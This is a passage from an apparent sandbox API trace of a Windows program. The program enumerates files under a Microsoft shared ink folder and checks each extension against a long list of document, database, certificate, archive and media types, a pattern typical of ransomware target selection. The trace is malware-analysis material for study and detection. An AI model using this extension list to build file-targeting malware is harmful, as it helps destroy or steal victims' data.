returned -1 [0090.714] lstrlenW (lpString=".dat") returned 4 [0090.714] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0090.714] lstrlenW (lpString=".db") returned 3 [0090.714] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0090.714] lstrlenW (lpString=".dbf") returned 4 [0090.714] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0090.715] lstrlenW (lpString=".dbx") returned 4 [0090.715] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0090.715] lstrlenW (lpString=".dc3") returned 4 [0090.715] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0090.715] lstrlenW (lpString=".dcm") returned 4 [0090.715] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0090.715] lstrlenW (lpString=".dcr") returned 4 [0090.715] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0090.715] lstrlenW (lpString=".der") returned 4 [0090.715] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0090.715] lstrlenW (lpString=".dib") returned 4 [0090.715] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0090.715] lstrlenW (lpString=".dic") returned 4 [0090.715] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0090.715] lstrlenW (lpString=".dif") returned 4 [0090.715] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0090.715] lstrlenW (lpString=".divx") returned 5 [0090.715] lstrcmpiW (lpString1=".divx", lpString2="d.xml") returned -1 [0090.715] lstrlenW (lpString=".djvu") returned 5 [0090.715] lstrcmpiW (lpString1=".djvu", lpString2="d.xml") returned -1 [0090.715] lstrlenW (lpString=".dng") returned 4 [0090.715] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0090.715] lstrlenW (lpString=".doc") returned 4 [0090.715] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0090.715] lstrlenW (lpString=".docm") returned 5 [0090.716] lstrcmpiW (lpString1=".docm", lpString2="d.xml") returned -1 [0090.716] lstrlenW (lpString=".docx") returned 5 [0090.716] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0090.716] lstrlenW (lpString=".dot") returned 4 [0090.716] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0090.716] lstrlenW (lpString=".dotm") returned 5 [0090.716] lstrcmpiW (lpString1=".dotm", lpString2="d.xml") returned -1 [0090.716] lstrlenW (lpString=".dotx") returned 5 [0090.716] lstrcmpiW (lpString1=".dotx", lpString2="d.xml") returned -1 [0090.716] lstrlenW (lpString=".dpx") returned 4 [0090.716] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0090.716] lstrlenW (lpString=".dqy") returned 4 [0090.716] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0090.716] lstrlenW (lpString=".dsn") returned 4 [0090.716] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0090.716] lstrlenW (lpString=".dt") returned 3 [0090.716] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0090.716] lstrlenW (lpString=".dtd") returned 4 [0090.716] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0090.716] lstrlenW (lpString=".dwg") returned 4 [0090.716] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0090.716] lstrlenW (lpString=".dwt") returned 4 [0090.716] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0090.716] lstrlenW (lpString=".dx") returned 3 [0090.717] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0090.717] lstrlenW (lpString=".dxf") returned 4 [0090.717] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0090.717] lstrlenW (lpString=".edml") returned 5 [0090.717] lstrcmpiW (lpString1=".edml", lpString2="d.xml") returned -1 [0090.717] lstrlenW (lpString=".efd") returned 4 [0090.717] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0090.717] lstrlenW (lpString=".elf") returned 4 [0090.717] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0090.717] lstrlenW (lpString=".emf") returned 4 [0090.717] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0090.717] lstrlenW (lpString=".emz") returned 4 [0090.717] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0090.717] lstrlenW (lpString=".epf") returned 4 [0090.717] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0090.717] lstrlenW (lpString=".eps") returned 4 [0090.717] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0090.717] lstrlenW (lpString=".epsf") returned 5 [0090.717] lstrcmpiW (lpString1=".epsf", lpString2="d.xml") returned -1 [0090.717] lstrlenW (lpString=".epsp") returned 5 [0090.717] lstrcmpiW (lpString1=".epsp", lpString2="d.xml") returned -1 [0090.717] lstrlenW (lpString=".erf") returned 4 [0090.718] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0090.718] lstrlenW (lpString=".exr") returned 4 [0090.718] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0090.718] lstrlenW (lpString=".f4v") returned 4 [0090.718] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0090.718] lstrlenW (lpString=".fido") returned 5 [0090.718] lstrcmpiW (lpString1=".fido", lpString2="d.xml") returned -1 [0090.718] lstrlenW (lpString=".flm") returned 4 [0090.718] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0090.718] lstrlenW (lpString=".flv") returned 4 [0090.718] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0090.718] lstrlenW (lpString=".frm") returned 4 [0090.718] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0090.718] lstrlenW (lpString=".fxg") returned 4 [0090.718] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0090.718] lstrlenW (lpString=".geo") returned 4 [0090.718] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0090.718] lstrlenW (lpString=".gif") returned 4 [0090.718] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0090.718] lstrlenW (lpString=".grs") returned 4 [0090.718] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0090.719] lstrlenW (lpString=".gz") returned 3 [0090.719] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0090.719] lstrlenW (lpString=".h") returned 2 [0090.719] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0090.719] lstrlenW (lpString=".hdr") returned 4 [0090.719] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0090.719] lstrlenW (lpString=".hpp") returned 4 [0090.719] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0090.719] lstrlenW (lpString=".hta") returned 4 [0090.719] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0090.719] lstrlenW (lpString=".htc") returned 4 [0090.719] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0090.719] lstrlenW (lpString=".htm") returned 4 [0090.719] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0090.719] lstrlenW (lpString=".html") returned 5 [0090.719] lstrcmpiW (lpString1=".html", lpString2="d.xml") returned -1 [0090.719] lstrlenW (lpString=".icb") returned 4 [0090.719] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0090.719] lstrlenW (lpString=".ics") returned 4 [0090.719] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0090.719] lstrlenW (lpString=".iff") returned 4 [0090.719] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0090.720] lstrlenW (lpString=".inc") returned 4 [0090.720] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0090.720] lstrlenW (lpString=".indd") returned 5 [0090.720] lstrcmpiW (lpString1=".indd", lpString2="d.xml") returned -1 [0090.720] lstrlenW (lpString=".ini") returned 4 [0090.720] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0090.720] lstrlenW (lpString=".iqy") returned 4 [0090.720] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0090.720] lstrlenW (lpString=".j2c") returned 4 [0090.720] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0090.720] lstrlenW (lpString=".j2k") returned 4 [0090.720] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0090.720] lstrlenW (lpString=".java") returned 5 [0090.720] lstrcmpiW (lpString1=".java", lpString2="d.xml") returned -1 [0090.720] lstrlenW (lpString=".jp2") returned 4 [0090.720] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0090.720] lstrlenW (lpString=".jpc") returned 4 [0090.720] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0090.720] lstrlenW (lpString=".jpe") returned 4 [0090.720] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0090.720] lstrlenW (lpString=".jpeg") returned 5 [0090.720] lstrcmpiW (lpString1=".jpeg", lpString2="d.xml") returned -1 [0090.720] lstrlenW (lpString=".jpf") returned 4 [0090.721] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0090.721] lstrlenW (lpString=".jpg") returned 4 [0090.721] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0090.721] lstrlenW (lpString=".jpx") returned 4 [0090.721] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0090.721] lstrlenW (lpString=".js") returned 3 [0090.721] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0090.721] lstrlenW (lpString=".jsf") returned 4 [0090.721] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0090.721] lstrlenW (lpString=".json") returned 5 [0090.721] lstrcmpiW (lpString1=".json", lpString2="d.xml") returned -1 [0090.721] lstrlenW (lpString=".jsp") returned 4 [0090.721] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0090.721] lstrlenW (lpString=".kdc") returned 4 [0090.721] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0090.721] lstrlenW (lpString=".kmz") returned 4 [0090.721] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0090.721] lstrlenW (lpString=".kwm") returned 4 [0090.721] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0090.721] lstrlenW (lpString=".lasso") returned 6 [0090.721] lstrcmpiW (lpString1=".lasso", lpString2="ad.xml") returned -1 [0090.721] lstrlenW (lpString=".lbi") returned 4 [0090.722] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0090.722] lstrlenW (lpString=".lgf") returned 4 [0090.722] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0090.722] lstrlenW (lpString=".lgp") returned 4 [0090.722] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0090.722] lstrlenW (lpString=".log") returned 4 [0090.722] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0090.722] lstrlenW (lpString=".m1v") returned 4 [0090.722] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0090.722] lstrlenW (lpString=".m4a") returned 4 [0090.722] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0090.722] lstrlenW (lpString=".m4v") returned 4 [0090.722] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0090.722] lstrlenW (lpString=".max") returned 4 [0090.722] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0090.722] lstrlenW (lpString=".md") returned 3 [0090.722] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0090.722] lstrlenW (lpString=".mda") returned 4 [0090.722] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0090.722] lstrlenW (lpString=".mdb") returned 4 [0090.722] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0090.722] lstrlenW (lpString=".mde") returned 4 [0090.722] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0090.723] lstrlenW (lpString=".mdf") returned 4 [0090.723] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0090.723] lstrlenW (lpString=".mdw") returned 4 [0090.723] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0090.723] lstrlenW (lpString=".mef") returned 4 [0090.723] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0090.723] lstrlenW (lpString=".mft") returned 4 [0090.723] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0090.723] lstrlenW (lpString=".mfw") returned 4 [0090.723] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0090.723] lstrlenW (lpString=".mht") returned 4 [0090.723] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0090.723] lstrlenW (lpString=".mhtml") returned 6 [0090.723] lstrcmpiW (lpString1=".mhtml", lpString2="ad.xml") returned -1 [0090.723] lstrlenW (lpString=".mka") returned 4 [0090.723] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0090.723] lstrlenW (lpString=".mkidx") returned 6 [0090.723] lstrcmpiW (lpString1=".mkidx", lpString2="ad.xml") returned -1 [0090.723] lstrlenW (lpString=".mkv") returned 4 [0090.723] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0090.723] lstrlenW (lpString=".mos") returned 4 [0090.724] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0090.724] lstrlenW (lpString=".mov") returned 4 [0090.724] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0090.724] lstrlenW (lpString=".mp3") returned 4 [0090.724] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0090.724] lstrlenW (lpString=".mp4") returned 4 [0090.724] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0090.724] lstrlenW (lpString=".mpeg") returned 5 [0090.724] lstrcmpiW (lpString1=".mpeg", lpString2="d.xml") returned -1 [0090.724] lstrlenW (lpString=".mpg") returned 4 [0090.724] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0090.724] lstrlenW (lpString=".mpv") returned 4 [0090.724] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0090.724] lstrlenW (lpString=".mrw") returned 4 [0090.724] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0090.724] lstrlenW (lpString=".msg") returned 4 [0090.724] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0090.724] lstrlenW (lpString=".mxl") returned 4 [0090.724] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0090.724] lstrlenW (lpString=".myd") returned 4 [0090.724] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0090.724] lstrlenW (lpString=".myi") returned 4 [0090.725] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0090.725] lstrlenW (lpString=".nef") returned 4 [0090.725] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0090.725] lstrlenW (lpString=".nrw") returned 4 [0090.725] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0090.725] lstrlenW (lpString=".obj") returned 4 [0090.725] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0090.725] lstrlenW (lpString=".odb") returned 4 [0090.725] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0090.725] lstrlenW (lpString=".odc") returned 4 [0090.725] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0090.725] lstrlenW (lpString=".odm") returned 4 [0090.725] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0090.725] lstrlenW (lpString=".odp") returned 4 [0090.725] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0090.726] lstrlenW (lpString=".ods") returned 4 [0090.726] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0090.726] lstrlenW (lpString=".oft") returned 4 [0090.726] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0090.726] lstrlenW (lpString=".one") returned 4 [0090.726] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0090.726] lstrlenW (lpString=".onepkg") returned 7 [0090.726] lstrcmpiW (lpString1=".onepkg", lpString2="pad.xml") returned -1 [0090.726] lstrlenW (lpString=".onetoc2") returned 8 [0090.726] lstrcmpiW (lpString1=".onetoc2", lpString2="xpad.xml") returned -1 [0090.726] lstrlenW (lpString=".opt") returned 4 [0090.726] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0090.726] lstrlenW (lpString=".oqy") returned 4 [0090.726] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0090.726] lstrlenW (lpString=".orf") returned 4 [0090.726] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0090.726] lstrlenW (lpString=".p12") returned 4 [0090.726] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0090.726] lstrlenW (lpString=".p7b") returned 4 [0090.726] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0090.726] lstrlenW (lpString=".p7c") returned 4 [0090.726] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0090.727] lstrlenW (lpString=".pam") returned 4 [0090.727] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0090.727] lstrlenW (lpString=".pbm") returned 4 [0090.727] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0090.727] lstrlenW (lpString=".pct") returned 4 [0090.727] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0090.727] lstrlenW (lpString=".pcx") returned 4 [0090.727] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0090.727] lstrlenW (lpString=".pdd") returned 4 [0090.727] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0090.727] lstrlenW (lpString=".pdf") returned 4 [0090.727] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0090.727] lstrlenW (lpString=".pdp") returned 4 [0090.727] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0090.727] lstrlenW (lpString=".pef") returned 4 [0090.727] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0090.727] lstrlenW (lpString=".pem") returned 4 [0090.727] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0090.727] lstrlenW (lpString=".pff") returned 4 [0090.727] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0090.727] lstrlenW (lpString=".pfm") returned 4 [0090.727] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0090.727] lstrlenW (lpString=".pfx") returned 4 [0090.727] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0090.728] lstrlenW (lpString=".pgm") returned 4 [0090.728] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0090.728] lstrlenW (lpString=".php") returned 4 [0090.728] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0090.728] lstrlenW (lpString=".php3") returned 5 [0090.728] lstrcmpiW (lpString1=".php3", lpString2="d.xml") returned -1 [0090.728] lstrlenW (lpString=".php4") returned 5 [0090.728] lstrcmpiW (lpString1=".php4", lpString2="d.xml") returned -1 [0090.728] lstrlenW (lpString=".php5") returned 5 [0090.728] lstrcmpiW (lpString1=".php5", lpString2="d.xml") returned -1 [0090.728] lstrlenW (lpString=".phtml") returned 6 [0090.728] lstrcmpiW (lpString1=".phtml", lpString2="ad.xml") returned -1 [0090.728] lstrlenW (lpString=".pict") returned 5 [0090.728] lstrcmpiW (lpString1=".pict", lpString2="d.xml") returned -1 [0090.728] lstrlenW (lpString=".pl") returned 3 [0090.728] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0090.728] lstrlenW (lpString=".pls") returned 4 [0090.728] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0090.728] lstrlenW (lpString=".pm") returned 3 [0090.728] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0090.728] lstrlenW (lpString=".png") returned 4 [0090.728] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0090.728] lstrlenW (lpString=".pnm") returned 4 [0090.728] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0090.728] lstrlenW (lpString=".pot") returned 4 [0090.729] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0090.729] lstrlenW (lpString=".potm") returned 5 [0090.729] lstrcmpiW (lpString1=".potm", lpString2="d.xml") returned -1 [0090.729] lstrlenW (lpString=".potx") returned 5 [0090.729] lstrcmpiW (lpString1=".potx", lpString2="d.xml") returned -1 [0090.729] lstrlenW (lpString=".ppa") returned 4 [0090.729] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0090.729] lstrlenW (lpString=".ppam") returned 5 [0090.729] lstrcmpiW (lpString1=".ppam", lpString2="d.xml") returned -1 [0090.729] lstrlenW (lpString=".ppm") returned 4 [0090.729] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0090.729] lstrlenW (lpString=".pps") returned 4 [0090.729] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0090.729] lstrlenW (lpString=".ppsm") returned 5 [0090.729] lstrcmpiW (lpString1=".ppsm", lpString2="d.xml") returned -1 [0090.729] lstrlenW (lpString=".ppt") returned 4 [0090.729] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0090.729] lstrlenW (lpString=".pptm") returned 5 [0090.729] lstrcmpiW (lpString1=".pptm", lpString2="d.xml") returned -1 [0090.729] lstrlenW (lpString=".pptx") returned 5 [0090.729] lstrcmpiW (lpString1=".pptx", lpString2="d.xml") returned -1 [0090.729] lstrlenW (lpString=".prn") returned 4 [0090.729] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0090.729] lstrlenW (lpString=".ps") returned 3 [0090.729] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0090.729] lstrlenW (lpString=".psb") returned 4 [0090.730] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0090.730] lstrlenW (lpString=".psd") returned 4 [0090.730] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0090.730] lstrlenW (lpString=".pst") returned 4 [0090.730] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0090.730] lstrlenW (lpString=".ptx") returned 4 [0090.730] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0090.730] lstrlenW (lpString=".pub") returned 4 [0090.730] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0090.730] lstrlenW (lpString=".pwm") returned 4 [0090.730] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0090.730] lstrlenW (lpString=".pxr") returned 4 [0090.730] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0090.730] lstrlenW (lpString=".py") returned 3 [0090.730] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0090.730] lstrlenW (lpString=".qt") returned 3 [0090.730] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0090.730] lstrlenW (lpString=".r3d") returned 4 [0090.730] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0090.730] lstrlenW (lpString=".raf") returned 4 [0090.730] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0090.730] lstrlenW (lpString=".rar") returned 4 [0090.730] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0090.730] lstrlenW (lpString=".raw") returned 4 [0090.730] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1 [0090.731] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="insert", cAlternateFileName="")) returned 1 [0090.731] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4293e80 [0090.731] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42604d0 [0090.755] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.755] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="insertbase.xml", cAlternateFileName="")) returned 1 [0090.755] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="insertbase.xml", cAlternateFileName="")) returned 0 [0090.755] FindClose (in: hFindFile=0x42604d0 | out: hFindFile=0x42604d0) returned 1 [0090.756] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0090.756] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0090.756] lstrlenW (lpString="insert.xml") returned 10 [0090.756] lstrlenW (lpString=".1cd") returned 4 [0090.756] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0090.756] lstrlenW (lpString=".3ds") returned 4 [0090.756] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0090.756] lstrlenW (lpString=".3fr") returned 4 [0090.756] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0090.756] lstrlenW (lpString=".3g2") returned 4 [0090.756] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0090.756] lstrlenW (lpString=".3gp") returned 4 [0090.756] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0090.756] lstrlenW (lpString=".7z") returned 3 [0090.756] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0090.756] lstrlenW (lpString=".accda") returned 6 [0090.756] lstrcmpiW (lpString1=".accda", lpString2="rt.xml") returned -1 [0090.756] lstrlenW (lpString=".accdb") returned 6 [0090.756] lstrcmpiW (lpString1=".accdb", lpString2="rt.xml") returned -1 [0090.756] lstrlenW (lpString=".accdc") returned 6 [0090.756] lstrcmpiW (lpString1=".accdc", lpString2="rt.xml") returned -1 [0090.757] lstrlenW (lpString=".accde") returned 6 [0090.757] lstrcmpiW (lpString1=".accde", lpString2="rt.xml") returned -1 [0090.757] lstrlenW (lpString=".accdt") returned 6 [0090.757] lstrcmpiW (lpString1=".accdt", lpString2="rt.xml") returned -1 [0090.757] lstrlenW (lpString=".accdw") returned 6 [0090.757] lstrcmpiW (lpString1=".accdw", lpString2="rt.xml") returned -1 [0090.757] lstrlenW (lpString=".adb") returned 4 [0090.757] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0090.757] lstrlenW (lpString=".adp") returned 4 [0090.757] lstrcmpiW 